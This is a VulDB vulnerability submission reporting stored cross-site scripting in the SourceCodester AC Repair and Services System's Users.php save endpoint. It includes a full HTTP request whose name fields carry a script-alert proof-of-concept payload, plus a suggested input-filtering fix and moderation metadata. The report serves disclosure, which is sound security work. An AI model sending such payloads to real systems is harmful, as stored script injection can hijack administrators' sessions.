Submit #180834: SourceCodester AC Repair and Services System Users.php cross site scripting

I discovered an xss vulnerability in Sourcecodester Ac Repair And Services System(https://www.sourcecodester.com/php/16513/ac-repair-and-services-system-using-php-and-mysql-source-code-free-download.html).It is in url/classes/Users.php?f=save.

POST /php-acrss/classes/Users.php?f=save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------248310740335140400871461243690
Content-Length: 1077
Origin: http://localhost
Connection: close
Referer: http://localhost/php-acrss/admin/?page=user/manage_user
Cookie: PHPSESSID=sg18q6cststuaq0t07v6hdppgc
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------248310740335140400871461243690
Content-Disposition: form-data; name="id"

1
-----------------------------248310740335140400871461243690
Content-Disposition: form-data; name="firstname"

<ScRipt>alert(1)</ScRipt>
-----------------------------248310740335140400871461243690
Content-Disposition: form-data; name="middlename"

<ScRipt>alert(1)</ScRipt>
-----------------------------248310740335140400871461243690
Content-Disposition: form-data; name="lastname"

123
-----------------------------248310740335140400871461243690
Content-Disposition: form-data; name="username"

123
-----------------------------248310740335140400871461243690
Content-Disposition: form-data; name="password"

123
-----------------------------248310740335140400871461243690
Content-Disposition: form-data; name="type"

2
-----------------------------248310740335140400871461243690
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream

-----------------------------248310740335140400871461243690--

This is a storage based xss vulnerability where anyone who wants to access url/php-acrss/admin/?page=user/list will receive pop-up windows because the xss code is directly concatenated into the source code. The repair method is to filter parameters such as username once, such as <,>, etc

• Source: ⚠️ https://www.sourcecodester.com/php/16513/ac-repair-and-services-system-using-php-and-mysql-source-code-free-download.html
• User: fushuling (UID 45488)
• Submission: 07/11/2023 18:14 (3 years ago)
• Moderation: 07/13/2023 11:49 (2 days later)
• Status: Accepted
• VulDB entry: 234013 [SourceCodester AC Repair and Services System 1.0 manage_user firstname/middlename cross site scripting]
• Points: 20